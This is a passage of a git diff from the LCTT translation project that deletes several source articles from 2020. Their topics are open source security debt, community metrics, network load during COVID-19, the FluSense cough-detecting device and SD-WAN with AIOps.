problem, at least not in the open source community. A decade ago, open source components had lifetimes measured in years and were freely available to everyone. - -This meant that security issues in legacy code got fixed. Today, the increased speed of the development lifecycle and the increasingly censored internet means that developers can no longer trust third party code to the degree they used to. - -This has led to a considerable increase in security debt for developers using open source components. Veracode's latest [State of Software Security (SOSS)][3] report found that security issues in open source software take about a month longer to be fixed than those in software that is sourced internally. Insourced software recorded the highest fix rates, but even software sourced from external contractors gets fixed faster, by about two weeks, than open source software. - -The ultimate outcome of this – and one that the term "security debt" captures very well – is that most companies currently face security vulnerabilities throughout their entire software stack, and these are accumulating faster than they are fixed. In other words, developers have maxed out their security debt credit card, and are drowning in the debt they've incurred. This is particularly concerning when you consider that total household debt [reached nearly $14 trillion][4] in the United States alone in 2019. - -### How to avoid security debt - -Avoiding a build-up of security debt requires that developers take a different approach to security than the one that is prevalent in the industry at the moment. Proven methods such as zero-knowledge cloud encryption, VPNs to promote online anonymity, and network intrusion prevention software are great, but they may also not be enough. - -In fact, there might have been some developers who were scratching their heads during our definition of security debt above: how many of us think about the next poor soul who will have to check our code for security flaws? - -Changing that way of thinking is key to preventing a build-up of security debt. Developers should take the time to thoroughly [check their software for security vulnerabilities][5], not just during development, but after the release as well. Fix any errors now, rather than waiting for security holes to build up. - -If that instruction sounds familiar, then well done. A continuity approach to software development is a critical component of [layering security through DevOps][6], and one of the pillars of the emerging discipline of DevSecOps. Along with [chaos engineering][7], these approaches seek to integrate security into development, testing, and assessment processes, and thereby prevent a build-up of security debt. - -Just like a credit card, the key to avoiding security debt getting out of control is to avoid the temptation to take shortcuts in the first place. That's easier said than done, of course, but one of the key lessons from recent data breaches is that legacy systems that many developers assume are secure are just as full of shortcuts as recently written code. - -### Measure twice, cut once - -Since [security by default hasn't arrived yet][8], we must all try and do things properly in the future. Taking the fast, dirty approach might mean that you get to leave the office early, but ultimately that decision will come back to bite you. - -If you finish early anyway, well done: you can use the time to read [our best articles on security][9] and check whether your code is as secure as you think it is. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/remove-security-debt - -作者:[Sam Bocetta][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sambocetta -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) -[2]: https://opensource.com/article/17/10/why-i-love-technical-debt -[3]: https://www.veracode.com/state-of-software-security-report -[4]: https://thetokenist.io/financial-statistics/ -[5]: https://opensource.com/article/17/6/3-security-musts-software-developers -[6]: https://opensource.com/article/19/9/layered-security-devops -[7]: https://www.infoq.com/articles/chaos-engineering-security-networking/ -[8]: https://opensource.com/article/20/1/confidential-computing -[9]: https://opensource.com/article/19/12/security-resources diff --git a/sources/talk/20200321 3 metrics to measure your open source community health.md b/sources/talk/20200321 3 metrics to measure your open source community health.md deleted file mode 100644 index 57e3f7ae5f..0000000000 --- a/sources/talk/20200321 3 metrics to measure your open source community health.md +++ /dev/null @@ -1,110 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 metrics to measure your open source community health) -[#]: via: (https://opensource.com/article/20/3/community-metrics) -[#]: author: (Kevin Xu https://opensource.com/users/kevin-xu) - -3 metrics to measure your open source community health -====== -Community building is critical to the success of any open source -project. Here's how to evaluate your community's health and strengthen -it. -![Green graph of measurements][1] - -Community building is table stakes in the success of any open source project. Even outside of open source, community is considered a competitive advantage for businesses in many industries—from retail, to gaming, to fitness. (For a deeper dive, see "[When community becomes your competitive advantage][2]" in the _Harvard Business Review_.) - -However, open source community building—especially offline activities—is notoriously hard to measure, track, and analyze. While we've all been to our fair share of meetups, conferences, and "summits" (and probably hosted a few of them ourselves), were they worth it? Did the community meaningfully grow? Was printing all those stickers and swags worth the money? Did we collect and track the right numbers to measure progress? - -To develop a better framework for measuring community, we can look to a different industry for guidance and fresh ideas: political campaigns. - -### My metrics start with politics - -I started my career in political campaigns in the US as a field organizer (aka a low-level staffer) for then-candidate Senator Obama in 2008. Thinking back, a field organizer's job is basically community building in a specifically assigned geographical area that your campaign needs to win. My day consisted of calling supporters to do volunteer activities, hosting events to gather supporters, bringing in guest speakers (called "surrogates" in politics) to events, and selling the vision and plan of our candidate (essentially our "product"). - -Another big chunk of my day was doing data entry. We logged everything: interactions on phone conversations with voters, contact rates, event attendance, volunteer recruitment rates, volunteer show-up rates, and myriad other numbers to constantly measure our effectiveness. - -Regardless of your misgivings about politics in general or specific politicians, the winning campaigns that lead to political victories are all giant community-building exercises that are data-driven, meticulously measured, and constantly optimized. They are well-oiled community-building machines. - -When I entered the world of open source a few years ago, the community-building part felt familiar and natural. What surprised me was how little community building as an operation is quantified and measured—especially with offline activities. - -### Three metrics to track - -Taking a page from the best-run political campaigns I've seen, here are the three most important metrics for an open source community to track and optimize: - - * Number of **community ambassadors** - * Number of **return attendees** (people who attend your activities two times or more) - * Rate of **churned attendees** (the percentage of people who attend your activities only once or say they will come but don't show up) - - - -If you're curious, the corresponding terms on a political campaign for these three metrics are typically community captains, super volunteers, and flake rate. - -#### Community ambassadors - -A "community ambassador" is a user or enthusiast of your project who is willing to _consistently_ host local meetups or activities where she or he lives. Growing the number of community ambassadors and supporting them with resources and guidance are core to your community's strength and scale. You can probably hire for these if you have a lot of funding, but pure volunteers speak more to your project's allure. - -These ambassadors should be your best friends, where you understand inside and out why they are motivated to evangelize your project in front of both peers and strangers. Their feedback on your project is also valuable and should be a critical part of your development roadmap and process. You can strategically cultivate ambassadors in different tech hubs geographically around the world, so your project can count on someone with local knowledge to reach and serve users of different business cultures with different needs. The beauty of open source is that it's global by default; take advantage of it! - -Some cities are arguably more of a developer hub than others. Some to consider are Amsterdam, Austin, Bangalore, Beijing, Berlin, Hangzhou, Istanbul, London, NYC, Paris, Seattle, Seoul, Shenzhen, Singapore, São Paulo, San Francisco-Bay Area, Vancouver, Tel Aviv, Tokyo, and Toronto (listed alphabetically and based on feedback I got through social media. Please add a comment if I missed any!). An example of this is the [Cloud Native Ambassadors program][3] of the Cloud Native Computing Foundation. - -#### Return attendees - -The number of return attendees is crucial to measuring the usefulness or stickiness of your community activities. Tracking return attendees is how you can draw a meaningful line between "the curious" and "the serious." - -Trying to grow this number should be an obvious goal. However, that's not the only goal. This is the group whose motivation you want to understand the clearest. This is the group that reflects your project's user persona. This is the group that can probably give you the most valuable feedback. This is the group that will become your future community ambassadors. - -Putting it differently, this is your [1,000 true fans][4] (if you can keep them). - -Having hosted and attended my fair share of these community meetups, my observation is that most people attend to be educated on a technical topic, look for tools to solve problems at work, or network for their next job opportunity. What they are not looking for is being "marketed to." - -There is a growing trend of developer community events becoming marketing events, especially when companies are flush with funding or have a strong marketing department that wants to "control the message." I find this trend troubling because it undermines community building. - -Thus, be laser-focused on technical education. If a developer community gets taken over by marketing campaigns, your return-attendees metric won't be pretty. - -#### Churned attendees rate - -Tracking churned attendees is the flipside of the returned-attendees coin, so I won't belabor the point. These are the people that join once and then disappear or who show interest but don't show up. They are important because they tell you what isn't working and for whom, which is more actionable than just counting the people who show up. - -One note of caution: Be brutally honest when measuring this number, and don't fool yourself (or others). On its own, if someone signs up but doesn't show up, it doesn't mean much. Similarly, if someone shows up once and never comes back, it doesn't mean much. Routinely sit down and assess _why_ someone isn't showing up, so you can re-evaluate and refine your community program and activities. Don't build the wrong incentives into your community-building operation to reward the wrong metric. - -### Value of in-person connections - -I purposely focused this post on measuring offline community activities because online activities are inherently more trackable and intuitive to digital-native open source creators. - -Offline community activities are essential to any project's journey to reaching traction and prominence. I have yet to see a successful project that does not have a sizable offline presence, regardless of its online popularity. - -Why is this the case? Why can't an open source community, usually born online, just stay and grow online? - -Because technology choice is ultimately a human decision; therefore, face-to-face interaction is an irreplaceable element of new technology adoption. No one wants to be the guinea pig. No one wants to be the first. The most effective way to not feel like the first is to literally _see_ other human beings trying out or being interested in the same thing. - -Being in the same room as other developers, learning about the same project, and doing that regularly is the most effective way to build trust for a project. And with trust comes traction. - -### These three metrics work - -There are other things you _can_ track, but more data does not necessarily mean clearer insight. Focusing your energy on these three metrics will make the most impact on your community-building operation. An open source community where the _number of ambassadors and return attendees are trending up_ and the _churned attendees rate is trending down_ is one that's healthy and growing in the right way. - -* * * - -_This article originally appeared on_ _[COSS Media][5]_ _and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/community-metrics - -作者:[Kevin Xu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kevin-xu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_lead-steps-measure.png?itok=DG7rFZPk (Green graph of measurements) -[2]: https://hbr.org/2020/01/when-community-becomes-your-competitive-advantage -[3]: https://www.cncf.io/people/ambassadors/ -[4]: https://kk.org/thetechnium/1000-true-fans/ -[5]: https://coss.media/how-to-measure-community-building/ diff --git a/sources/talk/20200321 Coronavirus challenges capacity, but core networks are holding up.md b/sources/talk/20200321 Coronavirus challenges capacity, but core networks are holding up.md deleted file mode 100644 index 918ca93df3..0000000000 --- a/sources/talk/20200321 Coronavirus challenges capacity, but core networks are holding up.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Coronavirus challenges capacity, but core networks are holding up) -[#]: via: (https://www.networkworld.com/article/3533438/coronavirus-challenges-capacity-but-core-networks-are-holding-up.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Coronavirus challenges capacity, but core networks are holding up -====== -COVID-19 has sent thousands of employees to work from home, placing untold stress on remote-access networks. -Cicilie Arcurs / Getty Images - -As the coronavirus continues to spread and more people work from home, the impact of the increased traffic on networks in the US so far seems to be minimal. - -No doubt that web, VPN and data usage is growing dramatically with the [influx of remote workers][1].  For example, Verizon said it has seen a 34% increase in VPN traffic from March 10 to 17.  It has also seen a 75% increase in gaming traffic, and web traffic increased by just under 20% in that time period, according to Verizon. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -Verizon said its fiber optic and wireless networks “have been able to meet the shifting demands of customers and continue to perform well. In small pockets where there has been a significant increase in usage, our engineers have quickly added capacity to meet customers’ demand.” - -“As we see more and more individuals work from home and students engage in online learning, it is a natural byproduct that we would see an increase in web traffic and access to VPN. And as more entertainment options are cancelled in communities across the US, an increase in video traffic and online gaming is not surprising,” said Kyle Malady, Chief Technology Officer for Verizon in a [statement][3]. “We expect these peak hour percentages to fluctuate, so our engineers are continuing to closely monitor network usage patterns 24x7 and stand ready to adjust resources as changing demands arise." - -As of March 16, AT&T said that its network continues to perform well. “In cities where the coronavirus has had the biggest impact, we are seeing fewer spikes in wireless usage around particular cell towers or particular times of day because more people are working from home rather than commuting to work and fewer people are gathering in large crowds at specific locations.” - -In Europe, Vodaphone say it has seen an 50% increase in data traffic in some markets. - -“COVID-19 is already having a significant impact on our services and placing a greater demand on our network,” the company said in a statement. “Our technology teams throughout Europe have been focusing on capacity across our networks to make sure they are resilient and can absorb any new usage patterns arising as more people start working from home.” - -[][4] - -In Europe there have also been indications of problems.  - -Ireland-based [Spearline][5], which monitors international phone numbers for connectivity and audio quality, said this week that Italy's landline connection rate continues to be volatile with as much as a 10% failure rate and audio quality is running approximately 4% below normal levels.  - -Other Spearline research says: - - * Spain saw a drop in connection rates to 98.5% on March 16, but it is improving again. - * France saw a dip in connection rates approaching 5% on March17. Good quality has been maintained overall, though periodic slippage has been observed. - * Germany saw a 1.7% connection-failure rate March 17.  Good quality has been maintained, though periodic slippage has been observed. - - - -Such problems are not showing up in the US at this point, Spearline said. - -“The US is Spearline's most tested market with test calls over three main sectors being enterprise, unified communications and carrier. To date, there has been no significant impact on either the connection rates or the audio quality on calls throughout the US,” said Matthew Lawlor, co-founder and chief technical officer at Spearline.  - -The future impact is the real unknown of course, Lawlor said. - -“There are many potential issues which have happened in other countries which may have a similar impact on US infrastructure. For example, in many countries there have been hardware issues where engineers are unable to get physical access to resolve the issue,” Lawlor said.   “While rerouting calls may help resolve issues it does put more pressure on other segments of your network.” - -On March 19, one week after the CDC declarated the virus as pandemic, data analytics and broadband vendor OpenVault wrote: - - * Subscribers’ average usage from 9 a.m. to 5 p.m. has risen to 6.3 GB, 41.4% higher than the January figure of 4.4 GB.  - * During the same period, peak-hour (6 p.m. to 11 p.m.) usage has risen 17.2% from 5.0 GB per subscriber in January to 5.87 GB in March.  - * Overall daily usage has grown from 12.19 GB to 15.46 GB, an increase of 26.8%. - - - -Based on the current rate of growth, OpenVault projected that consumption for March will reach nearly 400 GB per subscriber, an increase of almost 11% over the previous monthly record of 361 GB, established in January. In addition, OpenVault projects a new coronavirus-influenced run rate of 460 GB per subscriber per month going forward. OpenVault’s research is based on the usage of more than 1 million broadband subscribers through the United States, the company said. - -“Broadband clearly is keeping the hearts of business, education and entertainment beating during this crisis,” said Mark Trudeau, CEO and founder of OpenVault in a  [statement][6]. “Networks built for peak-hours consumption so far are easily handling the rise in nine-to-five business-hours usage. We’ve had concerns about peak hours consumption given the increase in streaming entertainment and the trend toward temporary cessation of bandwidth caps, but operator networks seem to be handling the additional traffic without impacting customer experiences.” - -Increased use of conferencing apps may affect their availability for reasons other than network capacity. For example,  according to Thousand Eyes, users around the globe were unable to connect to their Zoom meetings for approximately 20 minutes on Friday due to failed DNS resolution.  - -Others too are monitoring data traffic looking for warning signs of slowdowns.  “Traffic towards video conferencing, streaming services and news, e-commerce websites has surged. We've seen growth in traffic from residential broadband networks, and a slowing of traffic from businesses and universities," wrote Louis Poinsignon a network engineer with CloudFlare in a [blog][7] about Internet traffic patterns. He noted that on March 13 when the US announced a state of emergency, CloudFlare’s US data centers served 20% more traffic than usual. - -Poinsignon  noted that  [Internet Exchange Points][8], where Internet service providers and content providers can exchange data directly (rather than via a third party) have also seen spikes in traffic. For example, Amsterdam ([AMS-IX][9]), London ([LINX][10]) and Frankfurt ([DE-CIX][11]), a 10-20% increase was seen around March 9. - -“Even though from time to time individual services, such as a web site or an app, have outages, the core of the Internet is robust,” Poinsignon wrote.  “Traffic is shifting from corporate and university networks to residential broadband, but the Internet was designed for change.” - -In related news: - - * Netflix said it would reduce streaming quality in Europe for at least the next 30 days to prevent the internet collapsing under the strain of unprecedented usage due to the coronavirus pandemic. "We estimate that this will reduce Netflix traffic on European networks by around 25% while also ensuring a good quality service for our members," Netflix said. - * DISH announced that it is providing 20 MHz of AWS-4 (Band 66) and all of its 700 MHz spectrum to AT&T at no cost for 60 days. Last week, DISH began lending its complete 600 MHz portfolio of spectrum to T-Mobile. With these two agreements, DISH has activated most of its spectrum portfolio to enhance national wireless capacity as the nation confronts the COVID-19 crisis. - - - -Join the Network World communities on [Facebook][12] and [LinkedIn][13] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3533438/coronavirus-challenges-capacity-but-core-networks-are-holding-up.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3532440/coronavirus-challenges-remote-networking.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.verizon.com/about/news/how-americans-are-spending-their-time-temporary-new-normal -[4]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[5]: https://www.spearline.com/ -[6]: http://openvault.com/covid-19-impact-driving-business-hours-broadband-consumption-up-41/ -[7]: https://blog.cloudflare.com/on-the-shoulders-of-giants-recent-changes-in-internet-traffic/ -[8]: https://en.wikipedia.org/wiki/Internet_exchange_point -[9]: https://www.ams-ix.net/ams/documentation/total-stats -[10]: https://portal.linx.net/stats/lans -[11]: https://www.de-cix.net/en/locations/germany/frankfurt/statistics -[12]: https://www.facebook.com/NetworkWorld/ -[13]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200324 COVID-19- Weekly health check of ISPs, cloud providers and conferencing services.md b/sources/talk/20200324 COVID-19- Weekly health check of ISPs, cloud providers and conferencing services.md deleted file mode 100644 index a5540c4ce2..0000000000 --- a/sources/talk/20200324 COVID-19- Weekly health check of ISPs, cloud providers and conferencing services.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (COVID-19: Weekly health check of ISPs, cloud providers and conferencing services) -[#]: via: (https://www.networkworld.com/article/3534130/covid-19-weekly-health-check-of-isps-cloud-providers-and-conferencing-services.html) -[#]: author: (Tim Greene https://www.networkworld.com/author/Tim-Greene/) - -COVID-19: Weekly health check of ISPs, cloud providers and conferencing services -====== -ThousandEyes, which tracks internet and cloud traffic, is providing Network World with weekly updates on the performance of three categories of service provider: ISP, cloud provider, UCaaS -[ThousandEyes][1] - -_As COVID-19 continues to spread, forcing employees to work from home, the services of ISPs, cloud providers and conferencing services a.k.a. unified communications as a service (UCaaS) providers are experiencing increased traffic._ - -_Thousand Eyes is monitoring how these increases affect outages and the performance these providers undergo. It will provide Network World a roundup of interesting events of  the week in the delivery of these services, and Network World will provide a summary here. Stop back next week for another update._ - -With the increased use of remote-access VPNs, major carriers are reporting dramatic increases in their network traffic – with Verizon reporting a 20% week-over-week increase, and Vodafone reporting an increase of 50%. - -[Read about IPv6 and cloud-access security brokers][2] - -While there has been no corresponding spike in outages in service provider networks, over the past six weeks there has been a steady increase in outages across multiple provider types both worldwide and in the U.S., all according to ThousandEyes, which keeps track of internet and cloud traffic. - -### IDG Special Report: - -Navigating the Pandemic - - * [Business continuity: Coronavirus crisis puts CIOs’ plans to the test][3] - * [Coronavirus challenges remote networking][4] - * [A security guide for pandemic planning: 7 key steps][5] - * [10 tips to set up your home office for videoconferencing][6] - * [How to survive and thrive while working from home][7] - * [WTH? OSS knows how to WFH IRL][8] - - - -This includes “a concerning upward trajectory” since the beginning of March of ISP outages worldwide that coincides with the spread of COVID-19, [according to a ThousandEyes blog][9] by Angelique Medina, the company’s director of product marketing. ISP outages worldwide hovered around 150 per week between Feb. 10 and March 19, but then increased to between just under 200 and about 225 during the following three weeks. - -In the U.S. those numbers were a little over 50 in the first time range and reaching about 100 during the first week of March. “That early March level has been mostly sustained over the last couple of weeks,” Medina writes. - -Cogent Communications was one ISP with nearly identical large scale outages on March 11 and March 18, with “disruptions for the fairly lengthy period (by Internet standards) of 30 minutes,” she wrote. - -[][10] - -Hurricane Electric suffered an outage March 20 that was less extensive and shorter than Cogent’s but included smaller disruptions that altogether affected hundreds of sites and services, she wrote. - -Public-cloud provider networks have withstood the effects of COVID-19 well, with slight increases in the number of outages in the U.S., but otherwise relatively level around the world. The possible reason: “Major public cloud providers, such as AWS, Microsoft Azure, and Google Cloud, have built massive global networks that are incredibly well-equipped to handle traffic surges,” Medina wrote. And when these networks do have major outages it’s due to routing or infrastructure state changes, not traffic congestion. - -Some providers of collaboration applications – the likes of Zoom, Webex, MSFT Teams, RingCentral – also experienced performance problems between March 9 and March 20. ThousandEyes doesn’t name them, but does list performance numbers for what it describes “the top three” UCaaS providers. One actually showed improvements in availability, latency, packet loss and jitter. The other two “showed minimal (in the grand scheme of things) degradations on all fronts — not surprising given the unprecedented strain they’ve been under,” according to the blog. - -Each provider showed spikes in traffic loss over the time period that ranged from less than 1% to more than 4% in one case. In the case of one provider, “outages within its own network spiked last week, meaning that the network issues impacting users were taking place on infrastructure managed by the provider versus an external ISP.” - -“Outage incidents within large UCaaS provider networks are fairly infrequent; however, the recent massive surge in usage is clearly stressing current design limits. Capacity is reportedly being added across the board to meet new service demands,” according to the blog. - -Meanwhile, ThousandEyes has introduced a new feature on its site a [Global Internet Outages Map][1] that is updated every few minutes. It shows recent and ongoing outages - -## Google outage unrelated to COVID-19 - -On March 26 Google suffered a 20 minute outage on the East Coast of the U.S., apparently from a router failure in Atlanta, ThousandEyes said, agreeing with a statement put out by Googe to that effect. - -That problem affected other regions of the U.S. as evidenced by Google sites such as google.com intermittently returning server errors."These 500 server errors are consistent with an inability to reach the backend systems necessary to correctly load various services," ThousandEyes said in a statement. "Any traffic traversing the affected region — connecting from Google’s front-end servers to backend services — may have been impacted and seen the resulting server errors." - -ThousandEyes posted interactive results of tests it ran about the outage [here][11] and [here][12]. - -. - -Join the Network World communities on [Facebook][13] and [LinkedIn][14] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534130/covid-19-weekly-health-check-of-isps-cloud-providers-and-conferencing-services.html - -作者:[Tim Greene][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Tim-Greene/ -[b]: https://github.com/lujun9972 -[1]: https://www.thousandeyes.com/outages -[2]: https://www.networkworld.com/article/3391380/does-your-cloud-access-security-broker-support-ipv6-it-should.html -[3]: https://www.cio.com/article/3532899/business-continuity-coronavirus-crisis-puts-cios-plans-to-the-test.html -[4]: https://www.networkworld.com/article/3532440/coronavirus-challenges-remote-networking.html -[5]: https://www.csoonline.com/article/3528878/a-security-guide-for-pandemic-planning-7-key-steps.html -[6]: https://www.computerworld.com/article/3250684/10-tips-to-set-up-your-home-office-for-videoconferencing.html -[7]: https://www.computerworld.com/article/3532283/how-to-survive-and-thrive-while-working-from-home.html -[8]: https://www.infoworld.com/article/3533050/wth-oss-knows-how-to-wfh-irl.html -[9]: https://blog.thousandeyes.com/internet-health-during-covid-19/ -[10]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[11]: https://agisi.share.thousandeyes.com/view/endpoint-agent/?roundId=1585237800&metric=loss&scenarioId=eyebrowNetwork&filters=%7B%22filters%22:%7B%22domain%22:%5B%22google.com%22%5D,%22geonameId%22:%5B4148757,4180439,4459467,4460243,4509177,4671240,4744709,4744870,4887398,4890864,4930956,5099836,5110266,5110302,5128581,5145476,5150529,5282804,5786882%5D%7D%7D&page=0,0&grouping=BY_NETWORK,BY_DOMAIN -[12]: https://ythkurgdz.share.thousandeyes.com/view/tests/?roundId=1585236900&metric=availability&scenarioId=httpServer&testId=1283781 -[13]: https://www.facebook.com/NetworkWorld/ -[14]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200325 COVID-19 vs. Raspberry Pi- Researchers bring IoT technology to disease detection.md b/sources/talk/20200325 COVID-19 vs. Raspberry Pi- Researchers bring IoT technology to disease detection.md deleted file mode 100644 index cdcf720c0b..0000000000 --- a/sources/talk/20200325 COVID-19 vs. Raspberry Pi- Researchers bring IoT technology to disease detection.md +++ /dev/null @@ -1,55 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (COVID-19 vs. Raspberry Pi: Researchers bring IoT technology to disease detection) -[#]: via: (https://www.networkworld.com/article/3534101/covid-19-vs-raspberry-pi-researchers-bring-iot-technology-to-disease-detection.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -COVID-19 vs. Raspberry Pi: Researchers bring IoT technology to disease detection -====== -Researchers from UMass say that a Raspberry Pi edge device can help identify flu-like symptoms in crowds, broadening the range of tools that can be used to track the spread of disease. -[Bill Oxford / Raspberry Pi / Modified by IDG Comm.][1] [(CC0)][2] - -An [IoT][3] device that tracks coughing and crowd size in real time could become a useful tool for identifying the presence of flu-like symptoms among large groups of people, according to a team of researchers at UMass Amherst. - -FluSense, as the researchers call it, is about the size of a dictionary. It contains a cheap microphone array, a thermal sensor, a Raspberry Pi and an Intel Movidius 2 neural computing engine. The idea is to use AI at the edge to classify audio samples and identify the number of people in a room at any given time. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][4] - -Since the system can distinguish coughing from other types of non-speech audio, correlating coughing with the size of a given crowd could give a useful index of how many people are likely to be experiencing flu-like symptoms. - -A test run between December 2018 and July 2019 saw FluSense installed in four waiting rooms at UMass’ University Health Services clinic, and the researchers said that they were able to “strongly” correlate the system’s results with clinical testing for influenza and other illnesses with similar symptoms. - -And bigger plans for FluSense are afoot, according to the paper’s lead author, Ph.D student Forsad Al Hossain and his co-author and adviser, assistant professor Tauhidur Rahman. - -“[C]urrently we are planning to deploy the FluSense system in several large public spaces (e.g., large cafeteria, classroom, dormitories, gymnasium, auditorium) to capture syndromic signals from a broad range of people who live in a certain town or city,” they said. “We are also looking for funding to run a large-scale multi-city trial. In the meantime, we are also diversifying our sensing capability by extending FluSense’s capability to capture more syndromic signals (e.g., recently we added sneeze sensing capability to FluSense). We definitely see a significant level of commercialization potential in this line of research.” - -FluSense is particularly interesting from a technical perspective because all of the meaningful processing work is done locally, via the Intel neural computing engine and Raspberry Pi. Symptom information is sent wirelessly to the lab for collation, of course, but the heavy lifting is accomplished at the edge. Al Hossain and Rahman were quick to emphasize that the device doesn’t collect personally identifiable information – the emphasis is on aggregating data in a given setting, rather than identifying sickness in any single patient – and everything it does collect is heavily encrypted, making it a minimal privacy concern. - -The key point of FluSense, according to the researchers, is to think of it as a health surveillance tool, rather than a piece of diagnostic equipment. Al Hossain and Rahman said that it has several important advantages over other health surveillance techniques, particularly those based on Internet tracking, like Google Flu Trend and Twitter. - -“FluSense is not easily influenced by public health campaigns or advertisements. Also, the contactless nature of this sensor is ideal to capture syndromic signals passively from different geographical locations and different socioeconomic groups (including underprivileged who may not have access to healthcare and may not go to a doctor/clinic,” they said. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534101/covid-19-vs-raspberry-pi-researchers-bring-iot-technology-to-disease-detection.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://unsplash.com/photos/tR0PPLuN6Pw -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[4]: https://www.networkworld.com/newsletters/signup.html -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200325 The coming together of SD-WAN and AIOps.md b/sources/talk/20200325 The coming together of SD-WAN and AIOps.md deleted file mode 100644 index 690a27686d..0000000000 --- a/sources/talk/20200325 The coming together of SD-WAN and AIOps.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The coming together of SD-WAN and AIOps) -[#]: via: (https://www.networkworld.com/article/3533437/the-coming-together-of-aiops-and-sd-wan.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -The coming together of SD-WAN and AIOps -====== -SD-WAN delivers cost and resiliency benefits. Infusing AI into SD-WAN takes things further, enabling automated operations and business agility. -kohb / Getty Images - -Software-defined wide-area networking ([SD-WAN][1]) and AIOps are both red-hot technologies. SD-WANs increase application availability, reduce costs and in some cases improve performance. AIOps infuses machine learning into IT operations to increase the level of automation. This reduces errors and enables businesses to make changes at digital speeds. Most think of these as separate technologies, but the two are on a collision course and will give rise to what I'm calling the AI-WAN.  - -### SD-WAN not a panacea for all network woes - -SD-WAN is the biggest leap forward in networking since… well, the actual WAN. But many solutions still rely on manual configurations. SD-WANs certainly increase application resiliency, lower telecommunications costs, and often increase application performance, but they are more complicated than traditional WANs. Initial setup can be a challenge, but the bigger issue is ongoing operations. Manually tweaking and tuning the network to adapt to business changes can be time consuming and error-prone. A solution is needed to bring better automation to SD-WANs. - -**READ MORE:** [How AI can improve network capacity planning][2] - -Enter AI-WAN. Much like a self-driving car, an AI-WAN can make decisions based on different rules and adapt to changes faster than people can. Self-driving cars continually monitor road conditions, speed limits and other factors to determine what changes to make. Similarly, a self-driving network can monitor, correct, defend, and analyze with minimal to no human involvement. This is done through automation capabilities powered by AI, obviating the need for people to get involved. - -Make no mistake, manual operations will hold businesses back from reaching their full potential. An interesting data point from my research is that it takes enterprises an average of four months to make changes across a network. That's because maintaining legacy networks and fixing glitches takes too much time. One ZK Research study found 30% of engineers spend at least one day a week doing nothing but troubleshooting problems. SD-WANs can improve these metrics, but there's still a heavy people burden. - -With growing data challenges businesses face as they migrate to the cloud, they simply can't afford to wait that long. Instead of being afraid of AI taking over jobs, businesses should 